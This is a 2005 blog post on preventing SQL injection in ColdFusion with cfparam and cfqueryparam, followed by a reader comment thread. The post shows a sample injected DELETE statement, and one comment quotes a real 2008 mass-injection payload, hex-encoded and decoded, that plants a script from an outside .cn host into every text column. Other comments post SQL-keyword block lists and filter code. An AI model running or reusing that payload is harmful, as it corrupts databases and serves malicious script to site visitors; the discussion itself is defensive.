Blog

21Dec
2005
SQL Injection Attacks, Easy To Prevent, But Apparently Still Ignored

I was just on a web site (no, not a ColdFusion powered site, and no I will not name names) browsing for specific content. The URLs used typical name=value query string conventions, and so I changed the value to jump to the page I wanted. And I made a typo and added a character to the numeric value. The result? An invalid SQL error message.

That's bad. Very very bad. It means that I was able to create a SQL statement that was submitted to the database for processing, a SQL statement that was passed to the database as is, unchecked.

You'd think that by now we'd have learned to lock down our code so as to prevent SQL injection attacks, but apparently this is not the case. You do not know what a SQL injection attack is? Well, read on.

Consider the following simple dynamic ColdFusion query:

view plain print about
1SELECT *
2FROM Customers
3WHERE CustID=#URL.custid#
Here a WHERE clause is being populated dynamically using a URL parameter. This type of code is common and popular, and is often used in data drill-down interfaces. If the URL was:
view plain print about
1http://domain/path/file.cfm?custid=100
the resulting SQL statement would be:
view plain print about
1SELECT *
2FROM Customers
3WHERE CustID=100
But what if someone tampered with that URL so that it read:
view plain print about
1http://domain/path/file.cfm?custid=100;DELETE+Customers
Now the resulting SQL would be:
view plain print about
1SELECT *
2FROM Customers
3WHERE CustID=100;
4DELETE Customers
And depending on the DBMS being used, you could end up executing two statements – first the SELECT, and then DELETE Customers (which would promptly delete all data from the Customers table).

Scared? You should be. SQL statements are not just used for queries. They are also used by most DBMSs to create and drop tables, create user logins, change passwords, set security levels, manage scheduled events, even creating and dropping entire databases. And whatever features are supported by your DBMS may be accessible this way.

Before I go further I must point out that this is not a ColdFusion vulnerability at all. In fact, it is not even a bug or a hole. This is truly a feature – many DBMS do indeed allow queries to contain more than a single operation, this is legal and by design.

Of course, you should always be checking parameters anyway before passing them to your DBMS. Passing client supplied data (URL parameters, FORM fields, and even cookies) through unchecked is programmatic suicide. Attacks aside, it is flat out unsafe to ever assume that data submitted by a client can be used as is.

As such, you should already be using code like this:

view plain print about
1<cfparam name="URL.CustID" type="integer">
This single line of code will lock SQL injection attacks out. How? Think about it, SQL injection (within ColdFusion apps) is really only an issue with non textual fields. If a text value is tampered with you'll end up with tampered text, but that text will all be part of the core string (within quotes) passed as a value, and will therefore not be executed as separate statements. Numbers, on the other hand, are not enclosed within quotes, and so extraneous text can be tampered with to create an additional SQL statement. And <cfparam> can protect you.

Of course, you may want more control, in which case you could use code like this:

view plain print about
1<cfif IsDefined("URL.CustID")
2 and not IsNumeric(URL.CustID)>

3 ... throw an error or something ...
4</cfif>

And as an additional line of defense you can use <cfqueryparam>, as seen here:

view plain print about
1<cfquery ...>
2SELECT *
3FROM Customers
4WHERE CustID=<cfqueryparam value="#URL.CustID#" cfsqltype="CF_SQL_INTEGER">
5</cfquery>
If the previous tampered URL was passed to the this query, the value would be rejected and an error would be thrown. The CFSQLTYPE (aside from binding variables) performs data type validation checks, and values that do not match the type are rejected. That's it, only integers allowed, and malicious tampered URL parameters are not integers.

The bottom line is that SQL injection attacks have been around for as long as dynamic SQL itself. ColdFusion has made it incredibly easy to protect yourself against such attacks. Be it <cfparam> or <cfqueryparam> or your own conditional processing, it's simple to protect yourself, and your responsibility to do so.

If you have not been paying attention to this risk, stop whatever you are doing, fire up your IDE, and do a search for every single <cfquery> in your code. Then quickly scan to find any that contain #'s in them (that are not enclosed in quotes or passed to <cfqueryparam>), and make a list of the variables used. If any of them are URL parameters or FORM fields, create a <cfparam> for each (at the top of the page, or before the <cfquery>). It's that simple. Really. There is no legitimate reason not to protect yourself, so just do it. Now! And I mean right now, before you leave for the day or take off for the holidays, and despite whatever project you are working on or deadline you are up against. No excuses (and if your boss complains about you switching gears to take care of this one, send him my way!).

Enough said! (I hope).

(UPDATED 07/24/2008)

Since this post was made, SQL injection attacks have evolved, and it is now know that even strings are vulnerable. See the more current related posts linked below.

Related Blog Entries

Comments (73)



  • Peter Tilbrook

    Most RSS feeds offer a brief "clipping" (like bloglines.com) and yet yours publishes the whole article. Why is that?

  • Ben Forta

    Peter, because I never remember to embed <more/> in the body. ;-)

    #2Posted by Ben Forta | Dec 21, 2005, 06:23 PM
  • Peter Tilbrook

    Oooookay. So why is that? Too busy? LOL!

    Happy holidays!

  • ross

    What about query caching using the <cfqueryparam>?

    #4Posted by ross | Dec 21, 2005, 07:26 PM
  • Ben Forta

    Ross, as I said, there are multiple solutions. And yes, there are pros and cons to each.

    #5Posted by Ben Forta | Dec 21, 2005, 08:17 PM
  • Peter Boughton

    >> If any of them are URL parameters or FORM fields,
    >> create a <cfparam> for each

    Or if there are ANY variables which might have been passed in from one of those scopes.
    (eg: <cfparam name="Session.Consumer" default="Url.Consumer"/>)



    Personally I'm in the habit of cfqueryparam-ing EVERYTHING with hashes. It's ugly (hopefully CF8 will implement a function version of QueryParam), but it's the simplest way to be sure.

    Fortunately I haven't yet encountered any queries that need to be cached, but it's fairly simple to do manually if/when I do.

    #6Posted by Peter Boughton | Dec 22, 2005, 04:53 AM
  • Mike T

    Also of concern is the ability for a visiter to amend the url from custid=100 to custid=101 to see if they can view another customers details. This can be guarded against by simply making it less obvious and perhaps by building some complexity into the custID - e.g. a checkdigit, or better still remove this from the URL altogether and use a session variable.

    #7Posted by Mike T | Dec 22, 2005, 04:57 AM
  • Rod Kesselring

    We have worked around this by creating custom error results so if anyone else trys to injects something they do not recieve an error that would tell them anything about sql. If they know the table names and such they might be able to do something but since the error messages are no good we they find no info. That being said I am going to start adopting this practice... The more protection the better.

  • Daniel Greenfeld

    For an id value, we also do a hashed id checksum value passed as well. That way, if someone modifies the id value, we check hash and check the results against the checksum. If there is a disparity, then we know there is tampering going on and we throw an error and record all the information of the tampering user.

  • Dean H. Saxe

    Rod,

    Just because I can't see the error does not mean that I can't perform SQL Injection. Google blind SQL injection for lots of info.

    The lesson here is to always use parameterized queries (cfqueryparam)! This is the case in all languages including Java, CF, C#, etc. since it is the single best mechanism to preent SQL injection. The secondary and tertiary lines of defense are proper data validation and not sending data to the client that the client shouldn't need to see/modify. Once the client has the data in his or her browser, it's the user's to modify as he wishes!

    -dhs

  • Umbrae

    For you *nix users, I've made a grep that you can run on your app directories to search for SQL injections.

    egrep -ir "(WHERE|AND|OR|[^f]SET) [a-zA-Z0-9\.]+[ ]*=[ ]*[\"']?#" *

    It will not match all possible injections, but it will match a lot of them. Also, just want to toss this in, apparently when using cfqueryparam for all variables, depending on your DBMS you can increase performance by a good bit - it already binds variables to their types and can ignore any type checking it has to do on the DB side.

    Cheers,
    -Umbrae

    #11Posted by Umbrae | Jan 16, 2006, 01:43 PM
  • Umbrae

    Should note, the most important injections it will miss are inserts. But regardless, it still provides for a starting point to see if you've missed any files.

    #12Posted by Umbrae | Jan 16, 2006, 01:45 PM
  • paul

    Would using CFARGUMENT TYPE="numeric" not stop it as well. Assuing your query is in a CFC, and cfc passes in above arg to your query?

    #13Posted by paul | Jan 19, 2006, 10:50 AM
  • drforbin

    Here's another way to stop injection:

    If the value of URL.b = 1,2,3,4,5,

    <!--- *** CHECK URL FOR NUMERIC & COMMA USING REGEX --->
    <cfset check_url = IsValid("regex",Trim(URL.b),"[0-9,]+")>

    This will only allow numbers and a comma for the URL.b variable. You can modify the [0-9,]+ to delete/include other characters.

    #14Posted by drforbin | May 2, 2006, 02:30 PM
  • Daniel

    Wanted to point out that using SELECT * and cfqueryparam together will wreck your query if you add a column to the table your selecting from. Since the DB now caches that query due to the bind parameter, the SELECT gets confused when a new col is added. SELECT * is usually bad practice in general.

    #15Posted by Daniel | Jul 17, 2006, 01:59 PM
  • jason

    just wondering, as this is fairly new to me, is there really any more effective way than cfqueryparam to prevent this? i know that XSS is talked about a lot as being very dangerous, but i just spent the better part of four hours fixing up a site with a lot of where column=#humber# stuff in it.

    even if the form was ran from someone's harddrive, there still shouldn't be any danger, right?

    i know i sound naive, but i am asking to be sure. thanks much!

    #16Posted by jason | Jan 16, 2007, 12:50 AM
  • Keith

    I'm not entirely sure what cfparam does here other than ensures that the URL variable is an integer.

    Is there not a was of doing the same for url parameters that are not integers. The reason I ask is I am using a pair of parameters in URLs for user information to ensure that a user cannot simply type in another number and get someone elses detals. one of these parameters is not an integer.

    Is there not a UDF or CFC that can check URL and form variables against SQL injection attacks.

    #17Posted by Keith | Jan 22, 2007, 01:50 PM
  • Ben Forta

    Keith, CFQUERYPARAM does otherr stuff too, but you are right, as far as preventing SQL injection attacks then it doing just that, ensuring that types arre what they are supposed to be. If you are using your own data types then you'll need to do some testing of your own, thoroughly validate the parameters before using them, ideally saving them to some local variable once validated and cleaned up, and then passing that to the SQL instead of the URL parameter.

    --- Ben

    #18Posted by Ben Forta | Jan 24, 2007, 10:06 AM
  • Ed Ralph

    cfqueryparam is a nice way to prevent sql injection - but our latest version of our website that now uses application.cfc and a bunch of persistent objects has rendered the cfqueryparam tag useless - a nasty bug has arisen that causes CF to return an 'invalid parameter binding(s)' error that Adobe nor anyone else can seem to fix. A perfectly functioning query with validated datatypes being passed into the cfqueryparam tag will randomly throw this error. More strange is that the exception detail shows the datatype of the passed parameter to be consistent with what it is expecting - it isn't a case of defining a cfsqltype that differs from the datatype being passed in. So, unfortunately for us we have to remove all the cfqueryparam tags...

    #19Posted by Ed Ralph | Feb 19, 2007, 04:47 PM
  • Dave Shuck

    Ben, do you have any thoughts on the comment above by Ed Ralph? We have been seeing this seemingly random and unrepeatable error as well in one of our applications that also uses Application.cfc and big "persistent" (hope Sean doesn't read that) objects. To go a little further, the database interaction is all managed via Reactor, which of course uses validated cfqueryparams as well. I would be *very* interested to hear any thoughts you might have on the matter. Thanks!

  • Ed Ralph

    Just an update on my previous comment - sorry Ben I know this isn't a forum but...

    We went through an exercise of removing cfqueryparams to skirt around the invalid parameter binding(s) error, but now instead we get random sql statement truncation. The simplest (valid) queries are being truncated - or so they appear in the error statements. For example, the statement might end up going to SQL Server like this:
    "LECT blah, blah from tblBlah" or "select blah, blah from tblBlah where"

    Upon inspecting the code, these queries are perfectly fine... I've heard rumours that CF8 doesn't suffer from these problems, but I haven't been able to get my hands on a beta to play with. As a result, I've had to install BlueDragon 7 (the new one) to see if that works ok. If so, I might have to migrate to BD - a scary prospect.

    #21Posted by Ed Ralph | Apr 10, 2007, 05:15 AM
  • Matt

    HI. WHat about if users put SQL markup in the text input area's within a form that is going to end up in db insert. (like this field I'm using to leave a comment in?

    Is there a risk there?

    Matt

    #22Posted by Matt | Jun 21, 2007, 01:22 AM
  • Ed Ralph

    Matt - yes, that is what SQL injection typically is, and what this comment thread is largely about.

    Regarding my last post (4/10/07) - a hotfix was released for MX 7.02 which has fixed the cfqueryparam issue and some other java.lang.illegalStateException issues.

    #23Posted by Ed Ralph | Jul 31, 2007, 09:04 AM
  • ??

    Wanted to point out that using SELECT * and cfqueryparam together will wreck your query if you add a column to the table your selecting from. Since the DB now caches that query due to the bind parameter, the SELECT gets confused when a new col is added. SELECT * is usually bad practice in general.

    #24Posted by ?? | Aug 30, 2007, 11:08 PM
  • Kurye

    "the SELECT gets confused when a new col is added. SELECT * is usually bad practice in general. " I not understand you.

    #25Posted by Kurye | Oct 27, 2007, 09:36 AM
  • Hotel Bayerischer Wald

    What about if users put SQL markup in the text input area's within a form that is going to end up in db insert. (like this field I'm using to leave a comment in?

  • Francis Waldron

    Hi I am doing a code review of a Cold Fusion application and the developer did not include any cfqueryparam or cfparam tags. The database is Intersystem’s Cache. Does anyone know if the Cache database is vulnerable to SQL injection or does the Cache database not allow multiple SQL statements to be processed?

    #27Posted by Francis Waldron | Oct 30, 2007, 03:14 PM
  • Mini Storage

    Should note, the most important injections it will miss are inserts. But regardless, it still provides for a starting point to see if you've missed any files.


    http://www.taiyau.com/2007/about_us_e.htm
    http://www.taiyau.com/2007/index_e.htm

  • çeviri

    Should note, the most important injections it will miss are inserts. But regardless, it still provides for a starting point to see if you've missed any files...

    #29Posted by çeviri | Jan 9, 2008, 01:11 PM
  • ensest hikayeler

    This can be guarded against by simply making it less obvious and perhaps by building some complexity into the custID - e.g. a checkdigit, or better still remove this from the URL altogether and use a session variable. ?

  • Caylesin

    Is <cfqueryparam> enough by itself to prevent all sql injection attacks? Or should we be scrubbing our data also? More levels of protection is better but assuming for text data, not numeric data, scrubbing is kind of hard. How would one tell the difference between a real comment about sql vs an injection attack. Does <cfqueryparam> make it so any possible sql in text that's going to used in anything (select/insert/delete/update) be escaped?

    #31Posted by Caylesin | Jan 19, 2008, 05:17 PM
  • bilgi yar??mas?

    thanks

  • gazete

    Matt - yes, that is what SQL injection typically is, and what this comment thread is largely about.

    #33Posted by gazete | Feb 2, 2008, 07:55 PM
  • resim

    What about query caching using the <cfqueryparam>?

    #34Posted by resim | Feb 4, 2008, 02:08 AM
  • Ben Forta

    As of CF8, caching works if <cfqueryparam> is used.

    --- Ben

    #35Posted by Ben Forta | Feb 6, 2008, 12:57 PM
  • John Ivanoff

    http://tinyurl.com/ozq8x
    In case you need another reason to implement this.

    #36Posted by John Ivanoff | May 14, 2008, 06:10 PM
  • John Chivers

    As Matt and Caylesin have stated above, this is all perfectly sensible with numeric values, but when it comes to text, <cfqueryparam>ing text values won't offer any protection beyond limiting the length of the input string, so basically we need to check all URL or FORM fields destined for the database for all possible malicious code insertion. Something for application.cfc, methinks. It might be prudent to loop through all FORM and URL variables and filter out certain strings, such as <iframe> and <script>, INSERT, SELECT, UPDATE, etc. Anyone have any suggestions as to a full list of possible naughty values?

    #37Posted by John Chivers | Jul 17, 2008, 05:49 AM
  • Jim

    I dont want anyone to come to this thread later and think this last comment is right...

    the whole point of cfqueryparam is creating parameterized queries. where the parameter being passed to the query will not run any sql.

    #38Posted by Jim | Jul 21, 2008, 03:57 PM
  • Robert Grimmett

    I have created a small cf program that will help you go through your databases and remove the offending code from the databases for those that have a systems admin who neglects the backup duties. if your interested, email me at pageus@gmail.com.. I am giving this program away. sorry ben if i am overstepping my bounds here but im hoping that it will others as it's helped me.. if there is a place i can post the program someone let me know and i will

    RLG
    pageus@gmail.com

  • Gareth R

    I am thoroughly hacked off with this! I have put all my eggs in one basket, or all my tables in one DB at least! I have about 15 sites feeding off the MSSQL DB and BANG... hit by SQL injection.

    I have gone through and made sure all WHERE clause uses CFQueryParam e.g..

    Where emailID=<cfqueryparam value="#URL.emailID#" cfsqltype="cf_sql_clob" maxlength="250">

    I have rolled back the DB to last healthy backup, but the injection is still taking place.

    The following line is being added to my entries in the DB...

    "></title><script src="http://1.verynx.cn/w.js"></script>&l...;!--

    I have also added the following to application.cfm

    <cfif isdefined("cgi.query_string")>
    <cfif reFindNocase("declare",cgi.query_string)><cfabort /></cfif>
    </cfif>

    Can anyone offer any further advice or suggestions?

    #40Posted by Gareth R | Jul 22, 2008, 09:21 AM
  • Robert Grimmett

    i had this happen to me while i was doing the scrubbing.. i would be almost done and it would reinfect.. what you have is someone accessing the site or they have a cached page of the site.
    we had to essentially disable the site while we cleaned it up and then modify the code in the application.cfm to ensure the page would be regrabbed instead of running the cached copy... i don't know how many "action" pages you have to work on but i know i have barely scratched the surface of fixing the code so cached copies wont affect me.
    btw it is simple as modifying the incomming url/form name on ONE of the items.. the cached code should fail out. at least this is how we fixed ours for a few of the sites so far..
    also if your interested in the db scrubber let me know it's a useful tool and i just wanna help out with this mess since we were hit on a number of our db's including one offsite that is taking forever to clean..
    the scrubbing with the site temp offline also prevents any "hidden code" that would be in what you thought was a clean backup

    -Rob

  • Ray Majoran

    Gareth,

    I had the EXACT same thing happen to me starting at 10:00am EST yesterday and then going throughout the day... what as mess. Here is what I learned (and how I built my defense around it... (This is the EXACT same script that attacked you... same URL and everything! So here goes...

    The first thing I did was lock down CF. You can do this by going into the CF Admin and check the box that disables CGI, cross-site scripting attacks. The disadvantage to this is that it replaces all <SCRIPT> <EMBED> etc tags with <INVALID> -- this is a disadvantage to me because I have users uploading Flash and legitimate JS all the time. Nevertheless, I locked the system down for a couple of days.

    Next, if you check your IIS logs (and CF application logs) you will notice a lot "CAST()" variables hitting your server. That is because the user is injecting the following script:

    DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C4043
    2076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F5220
    73656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D
    6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E787479
    70653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31
    363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4375
    72736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2065
    7865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E
    3C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C
    2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F746974
    6C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F73637269
    70743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040
    542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F4375
    72736F72%20AS%20CHAR(4000));EXEC(@S);

    I went to http://www.string-functions.com/hex-string.aspx to convert this and here is what it is:

    ?DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://1.verynx.cn/w.js"></script>&l...;!--'' where '+@C+' not like ''%"></title><script src="http://1.verynx.cn/w.js"></script>&l...;!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

    Absolutely INSANE!!!!!!

    Therefore, I wrote a script and put it in my application.cfm to defend against this in the cgi.query_string. I also did a loop (if it exists) through "form.fieldnames" which is the common array given by ColdFusion for all of the form fields submitted.

    Once that check is run, if it matches any keywords like "CAST" or "DECLARE", etc., it blocks the IP Address and throws a CF_ABORT.

    I hope this helps. I spent 8 hours of my day yesterday PULLING TEETH OUT because of this. If I can help a few people out, it's worth it.

    Sincerely,
    Ray Majoran

    #42Posted by Ray Majoran | Jul 22, 2008, 02:18 PM
  • Ray Majoran

    Interestingly enough, I just came across this article posted on July 18, 2008. It's exactly the same thing:

    http://www.coldfusionmuse.com/index.cfm/2008/7/18/...

    Ray

    #43Posted by Ray Majoran | Jul 22, 2008, 02:37 PM
  • Gareth R

    @ Ray Majoran

    Many thanks for taking the time to post your expert findings. Is there any way you could share the script you used in application.cfm? It's all a bit above my head at the moment.

    Cheers

    #44Posted by Gareth R | Jul 22, 2008, 04:03 PM
  • Ray Majoran

    No problem. Email me at ray at majoran dot com and I'll send it to you.

    #45Posted by Ray Majoran | Jul 22, 2008, 04:42 PM
  • Shane

    Having a client site that was recently hit by this (i had been caching queries and therefore CFQUERYPARAM was not used for CF7). I too have done something similar to what was described earlier but am wondering if any one can spot any problems in the following:

    In the application.cfm I have added:

    <!--- abort if SQL inject attack is sensed, log attempt --->
    <cfif isdefined("cgi.query_string")>
       <cfif reFindNocase("declare",cgi.query_string) OR reFindNocase(";",cgi.query_string) OR reFindNocase("@",cgi.query_string)>
             <cfinvoke component="cfc.securityReport" method="sqlInjection"/>
             <cfabort />
       </cfif>
    </cfif>

    cfc.securityReport then records the IP, script and query strings of the offending remote computer in a DB table and then CFABORT, leaving only a blank page.

    I then invoke a second component that checks the database table for the user's IP and if found 5 or more times in less than hour, the IP is blocked by using a CFABORT.

    The theory here is that if 5 attempts are made and either through automated or human methods the site is visited without an offending URL it will be blocked by IP. I am releasing the block after only one hour in case a dynamic IP is used and we don't want to block a good user that just happens to use the same ISP.

    #46Posted by Shane | Jul 23, 2008, 01:38 PM
  • Ray Majoran

    Hi Shane,

    This looks good, however, I have a couple of comments based on the attacks that we received.

    1. Many of the hits were from a number of different IP addresses. The people that run these attacks tend to run them through proxy servers or computers in remote locations. In our instance, there were over 100 different IP addresses that hit us at once. By the time an IP hit us 5 times, there may already be 500 compromises in the database. My personal recommendation would be to block them out immediately.

    2. We found that cgi.query_string didn't always work. If the person is using a remote form, the data may not be recognized in cgi.query_string. Therefore, we added this as well:

    <cfif isdefined("form.fieldnames")>
       <cfloop list="#form.fieldnames#" index="z">
          <cfif lcase(evaluate(z)) CONTAINS 'declare%20@' OR lcase(evaluate(z)) CONTAINS '=cast(' OR lcase(evaluate(z)) CONTAINS 'exec(' OR lcase(evaluate(z)) contains "document.write(unescape" OR lcase(evaluate(z)) contains "/w.js" OR lcase(evaluate(z)) contains "</title><script" OR lcase(evaluate(z)) contains ".cn/">
             <cfset ban_now = 1>
             <cfset ban_body_content = evaluate(z)>
          </cfif>
       </cfloop>
    </cfif>

    I hope that helps!

    Sincerely,
    Ray

    #47Posted by Ray Majoran | Jul 23, 2008, 01:52 PM
  • Shane

    Thanks Ray!

    Good point on blocking immediately. My thought was that I could see a client making a typo in the URL and trying it multiple times before realizing their mistake. I have reduced that 1.

    Regarding the remote form protection, this appears to be very specific to the latest rounds of attacks (i.e. the '/w.js' and '<title>' catches). I am trying to come up with a more generic solution to include in all the sites I develop. To do this I would think the following would work:

    <cfif isdefined("form.fieldnames")>
    <cfloop list="#form.fieldnames#" index="z">
    <cfif lcase(evaluate(z)) CONTAINS 'declare%20@' OR lcase(evaluate(z)) CONTAINS '=cast(' OR lcase(evaluate(z)) CONTAINS 'exec(' OR lcase(evaluate(z)) contains "document.write(unescape">
    <cfset ban_now = 1>
    <cfset ban_body_content = evaluate(z)>
    </cfif>
    </cfloop>
    </cfif>

    or have I left a giant hole in my security?

    #48Posted by Shane | Jul 23, 2008, 03:10 PM
  • Ray Majoran

    Nope, I think you have it. The ABSOLUTE key is to make sure that ALL of your integer values in your CFQUERY's are either #val()#ed or CFQUERYPARAMed. That is your best line of defense.

    In the case of MS SQL Server, it looks like string values are safe (according to another blog I read), but in the case of MYSQL, string values can actually be compromised as well -- it takes more effort, but it can be done. Therefore, it would be a best practice to CFQUERYPARAM everything if you can help it.

    Ray

    #49Posted by Ray Majoran | Jul 23, 2008, 03:16 PM
  • michael Long

    CFQUERYPARAM also needs better handing of nulls. Be nice to have null="yes|no|auto", where auto means YES if the length value is zero AND if the field accepts nulls. That way you don't have to wrap CFIFs around them, or use the yesNoFormat technique. Either way, you're writing extra code.

  • Ray Majoran

    Yeah, I prefer VAL tags over CFQUERYPARAMs. Seems like more of a hack, but it works. Has anyone read anything against using VAL tags vs. CFQUERYPARAMs?

    Ray

    #51Posted by Ray Majoran | Jul 23, 2008, 03:32 PM
  • Ray Majoran

    I would also recommend reading the blog entry that Ben just posted:

    http://www.forta.com/blog/index.cfm/2008/7/23/Hack...

    Read the articles in the links as well.

    Ray

    #52Posted by Ray Majoran | Jul 23, 2008, 03:43 PM
  • Frank W

    Hi, I recently also found sites with this code in them but I have a different question. I know about preventing this from a programming standpoint but what does this do for the users of the site?

    Does anyone know what code is actually injected into the page and what would happen to an end user when the script runs?

    I've noticed the 1.verynx.cn dns changes from 127.0.0.1 to other values for collecting data.

    Any information would be nice :)

    Thanks,
    Frank

    #53Posted by Frank W | Jul 23, 2008, 03:59 PM
  • Bill Jones

    Here's My filter - only for GET though...
    I make it find at least 2 occurrances to fail, to protect for possible false blockage.

    Dropped in the top of application.cfm:

       <cfset SQL_CMDs = ArrayNew(1)>
       <cfset LoopHitCount=0>
       <cfset mystring="declare,set,exec,select,grant,delete,insert,drop,alter,replace,truncate,update,create,rename,describe,from,into,table,view,union,cast,char">
       <cfset SQL_CMDs=mystring.Split(",")>
       <cfloop index="CMD_Loop" from="1" to="#ArrayLen(SQL_CMDs)#">
          <cfset paramname= SQL_CMDs[#CMD_Loop#]>
          <cfset CheckVal = cgi.QUERY_STRING>
          <CFSET st = FindNoCase(paramname,CheckVal,1)>
             <cfif st gt 0 >
                <cfoutput>Suspect Value: #paramname#<br /> </cfoutput>

                <cfset LoopHitCount = LoopHitCount + 1>
             </cfif>    
             
       </cfloop>
       
       <cfoutput>

       <cfif LoopHitCount gt 2>
             This request is being blocked due to suspected Unauthorized Access.<br />#CheckVal#
             <cfabort>
       </cfif>
       </cfoutput>

    #54Posted by Bill Jones | Jul 23, 2008, 04:00 PM
  • Bill Jones

    oops... that cfset on checkval should probably be before the loop - oh well - what's a little extra overhead...

    #55Posted by Bill Jones | Jul 23, 2008, 04:04 PM
  • Bill Jones

    Ok - Here's a better one:

    My Application.cfm GET/POST filter:
    The post portion is untested. the GET is validated against actual vulgar requests from the logfile.
    Catches 2+ occurrances of any black list item defined in mystring. for this - it is a list of most possible sql command words


    <!--- START filter for SQL Injection Attack --->
    <cfset SQL_CMDs = ArrayNew(1)>
    <cfset LoopHitCount=0>
    <cfset mystring="declare,set,exec,select,grant,delete,insert,drop,alter,replace,truncate,update,create,rename,describe,from,into,table,view,union,cast,char">
    <cfset SQL_CMDs=mystring.Split(",")>
    <cfset CheckVal = cgi.QUERY_STRING>
    <cfloop index="CMD_Loop" from="1" to="#ArrayLen(SQL_CMDs)#">
    <cfset paramname= SQL_CMDs[#CMD_Loop#]>
    <!--- START filter for SQL Injection Attack via GET Variables--->
    <CFSET st = FindNoCase(paramname,CheckVal,1)>
    <cfif st gt 0 >
    <cfoutput>Suspect GET Value: #paramname#<br /> </cfoutput>
    <cfset LoopHitCount = LoopHitCount + 1>
    </cfif>
    <!--- END filter for SQL Injection Attack via GET Variables--->

    <!--- START filter for SQL Injection Attack via POST Variables--->
    <cfif isdefined("form.fieldnames")>
    <cfloop list="#form.fieldnames#" index="z">
    <CFSET st = FindNoCase(paramname,evaluate(z),1)>
    <cfif st gt 0 >
    <cfoutput>Suspect POST Value: #paramname#<br /> </cfoutput>
    <cfset LoopHitCount = LoopHitCount + 1>
    </cfif>
    </cfloop>
    </cfif>
    <!--- END filter for SQL Injection Attack via POST Variables--->
    </cfloop>
    <cfoutput>
    <cfif LoopHitCount gt 2>
    This request is being blocked due to suspected Unauthorized Access.<br />#CheckVal#
    <cfabort>
    </cfif>
    </cfoutput>
    <!--- END filter for SQL Injection Attack --->

    #56Posted by Bill Jones | Jul 23, 2008, 04:54 PM
  • michael Long

    @Bill, the main issue I have with the check you're doing is that you're blocking legitimate words that could be in a text field. Especially a large text field like an article or memo. (Bush DECLARES new foreCAST. Sears DROPS Roebuck. And CAST of Rent CREATEs new play. Yada.)

    And it ignores words you're not checking. I, for one, could probably sneak in a call to a system-based stored procedure.

    Personally, as a stopgap measure I did the following check on form and URL values:

    v contains "''" or v contains "\'" or findnocase('CAST(',v) or findnocase('EXEC(',v)

    Any injection HAS to escape values somehow, and getting rid of '' and \' gets rid of most attacks, while checking for CAST( and EXEC( kills this particular one. At the same time zapping, I'm not generating false positives, as by-and-large those particular character strings should never be in user-generated input.

    (Unless you run a SQL Server blog.)

  • Bill Jones

    sure - that's true, but liklihood (especially on the site where this is running) of 2 or more of that list being submitted is remote and the site is far too large to afford the time with the server compromised to fix it. The benefit far exceeds the possibility of undesireable affect. It solves the problem and can catch future similar attacks and is easily modified to accommodate new threats (i.e. system based SP names)

    As for escape characters, where in the attack request do you see escape characters?

    For a more simple site, this is a perfectly useable, a very remote chance of rejecting the occaisional form submission, and a heck of a lot better than nothing. especially when there are literally thousands of cfm scripts that would need to be checked.

    And finally, if its really a concern about blocking form submitted data, and stopping only this iteration of this kind of attack is acceptable, just remove the POST check, in all of the thousands of log entries I've seen of this attack, not one has used POST, and the stopping non offending requests is even more remote of a possibility.

    #58Posted by Bill Jones | Jul 23, 2008, 08:50 PM
  • Bill Jones

    Also, since I already count multiple offenses before failing a request. With this particular attack, there are 5 offending words; the fail threshold could be raised, further lessening the chance of filtering out innocent submissions from a form. For that matter, one could separate out the form check with the higher fail threshold count. while leaving the GET request at 2, for maximum protection.

    #59Posted by Bill Jones | Jul 23, 2008, 09:02 PM
  • Colin Jones

    Just as an aside, <cfqueryparam> has additional performance benefits as well as protecting your data from SQL injection. By ensuring all your variables in SQL queries use cfqueryparam what you are really doing is telling CF to use bind variables in the SQL.

    In Oracle, for example, this can have a big performance gain, as Oracle caches the execution path (not the results). Similar benefits would be possible in other databases that use bind variables. More info here http://www.adobe.com/devnet/server_archive/article... or one of Ben's articles here: http://www.adobe.com/devnet/coldfusion/articles/be...

    #60Posted by Colin Jones | Jul 24, 2008, 05:46 AM
  • David Hopkin

    Bill, thank you very much for posting the code that can be put in the Application.cfm file to prevent SQL injections. I have been hit twice recently and am trying to tighten things up to prevent another one. A basic question: in the line <cfif isdefined("form.fieldnames")> is it necessary to enter the various fieldnames that are being used or is that taken care of?
    Thanks again,

    #61Posted by David Hopkin | Jul 24, 2008, 09:59 AM
  • Christopher Walker

    How about using only stored procedures? Many CF developers simply do not use them and they have many benefits. MS SQL Server Management Studio Express uses a template to create at storedproc. Also requiring at the SQL server that a validated SA username and password be used for any INSERT,UPDATE, DROP, CREATE, or DELETE.

    Lastly in applicationcfm or cfc using onRequest you could check cgi.QUERY_STRING for any illegal SQL commands and abort or redirect to cgi.http_referer

  • Bill Jones

    David,
    that POST check iterates through all form fields, if there are any. But, others have been concerned that this is too restrictive of a filter for long form submissions, thereby blocking too many possible valid POSTS. there are a couple ways to handle it - disable the post filter, as this attack does not seem to try to exploit via POST. or raise the fail threshold to gt 4 (don't go higher than 4, this is the minimum to stop the current wave of attacks with this code) you could also take a few words out of the list (where, order, select) as those are common words and not really posing any threat as far as being damaging sql.

    #63Posted by Bill Jones | Jul 24, 2008, 12:58 PM
  • David Hopkin

    Thank you very much Bill.

    #64Posted by David Hopkin | Jul 24, 2008, 02:00 PM
